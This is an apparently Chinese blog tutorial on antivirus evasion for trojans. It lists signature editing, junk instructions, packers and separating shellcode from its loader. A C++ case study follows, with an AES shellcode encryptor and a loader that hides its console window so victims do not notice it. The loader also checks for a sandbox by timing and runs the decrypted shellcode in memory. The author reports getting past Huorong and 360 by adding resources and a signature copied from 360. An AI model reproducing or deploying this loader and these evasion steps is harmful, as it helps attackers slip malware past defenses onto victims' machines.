0x01基础免杀方法
1.1 修改特征码
一般使用virtest,myccl等工具进行定位,这两款工具都有复合定位特征码的功能,定位出来在对应地址修改特征就行了,如特征码在数据段注释中、帮助菜单等。常用的、如果特征码定位到代码段(也通过IDA/OD等确认),在不改变程序功能的基础上,应用各种方法修改。等价替换汇编代码。修改工具有,OD,C32ASM,winhex,010Editor等等。
VIRTEST采用2分排除法,测试标志C所在文件中的位置,由于被杀的文件可能存在多个类似于ABC这样的连锁条件,所以我们必须要通过一种排除机制,先要找最靠近文件前部的连锁条件,排除掉文件尾部数据,当找到第一个连锁条件后,抹掉引标志C,再恢复尾部数据,然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件免杀了,则说明特征代码被定为完毕了
1.2 花指令免杀
花指令免杀是指,在程序shellcode
或特征代码区域增添垃圾指令,这些指令没有实际含义,不会改变程序运行逻辑,但可以阻止反编译,现在杀软在检测特征码时,都会存在偏移范围,当我们使用花指令对特征码区域进行大量填充,这样就可以实现躲避杀软的特性。
1.3 加壳免杀
程序加壳可以很好的躲避匹配特征码查杀方式。例如:UPX
(压缩壳)、ASPack
(加密壳)、Armadillo穿山甲
(加密壳)VMProtect
(vmp壳)等。
虚拟壳 VMProtect
这种壳其实是属于加密壳的一种,但是由于其特殊性值得拿出来单独说一下,使用计算机虚拟机技术,该技术与我们使用的VMware不大相同。前面两种保护技术虽然侧重点不同,但原理类似,都是给文件加上一层区块,本质没有修改文件源代码,使得文件被脱壳只是时间问题,但VMProtect是将被保护文件的代码转化到虚拟机下运行,虚拟机的编译器将指令编译成伪指令系统的指令执行,破解者很难理解虚拟机变换后的指令。
1.4 编译
一些开源工具,二进制文件被加特征。有时下载它的源码自己编译下就能免杀
1.5 分离免杀
顾名思义将shellcode与加载器进行分离
1.6 添加资源文件
偏玄学
0x02案例分享
使用c++做的,采用分离免杀的方案
2.1 生成shellcode文件
生成加密shellcode文件,核心生成代码如下
int main(int argc, char* argv[])
{
string str1 = "";//去掉\x后的shellcode,AES加密用别人写好的库就行
string str2 = EncryptionAES(str1);
//printf("%s",str2);
//string str3 = DecryptionAES(str2);
//printf("%s", str3);
ofstream outfile;
outfile.open("a.bin");
outfile << str2 << endl;
outfile.close();
return 0;
}
2.2 loader部分
核心生成代码如下,首先当然是去黑窗(执行木马留下个黑窗窗当然是不行的,正常人都会怀疑的
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )//去黑窗
int readFile(const char* fname, char* buffer, int bufferLen)
{
int retLen = 0;
FILE* f;
f = fopen(fname, "r"); //r=打开一个已有的文本文件,允许读取文件。
if (f) {
retLen = fread(buffer, 1, bufferLen, f);
buffer[retLen] = 0;
fclose(f);
}
if (retLen <= 0) {
printf("读取文件错误,或者空文件!");
return 0;
}
return retLen;
}
typedef void(*FUN)();//加载shellcode的函数,事先声明
int main(int argc, char* argv[])
{
char buf[2242];//处理后shellcode的长度
const char fname[] = "a.bin";
int retLen = readFile(fname, buf, 2242);
string str3 = DecryptionAES(buf);
//cout << str3 << endl;
char buff[2242] = { 0 };
for (int i = 0; i < str3.length();i++) {
buff[i] = str3[i];
}
char* p = buff;
unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));
for (size_t i = 0; i < strlen(buff) / 2; i++) {
sscanf(p, "%2hhx", &shellcode[i]);
p += 2;
}//还原shellcode
//for (int i = 0; i < 1121; i++) {
// printf("\\x%02x", shellcode[i]);
//}
FUN fun = (FUN)shellcode;
int v3;
__int64 v4;
v3 = GetTickCount64(); // 反沙箱
Sleep(300u);
v4 = (int)(-300 - v3 + GetTickCount64());
//printf_s("v4:%d\n", v4);
if ((int)((HIDWORD(v4) ^ v4) - HIDWORD(v4)) > 100)
printf_s("sandbox!!!\n");
else
fun();
system("pause");
return 0;
}
反沙箱部分参考https://www.freebuf.com/articles/database/335185.html
至此已过某绒(其实不加密shellcode也能过,自写加载器就过了
某60报毒
我只是单独查杀loader,shellcode都没有居然就被判断为木马,我感觉其中一定有猫腻。(正常流程当然是virtest一步一步定位啦,但我觉得查的有问题)
于是乎我尝试添加资源文件,加数字签名,这里图方便直接导出某60的好了
添加后多了70几kb,再次查杀下看下情况
直接绕过(很玄学,学术派一直强调理论,加资源就免杀这有什么理论可言呢,实践才是王道)
360也不能让你更安全的装b(手动狗头
测试于2022/6/15
0x03 免杀过程中的一些个人想法
最开始未对shellcode进行加密,仅做分离,自写加载器就已经绕过了火绒。找AES库蛮多解密有问题,经过搜索引擎发现其他师傅也遇到过,于是乎就找到了可用的现成库。360部分网上很多文章都是写异或绕过什么的,个人认为不太行(未验证),毕竟AES都无法绕过。最后尝试在分离的基础上再加资源文件,没想到360就不报毒了。总之多做些尝试吧,杀软没你想象的那么强大。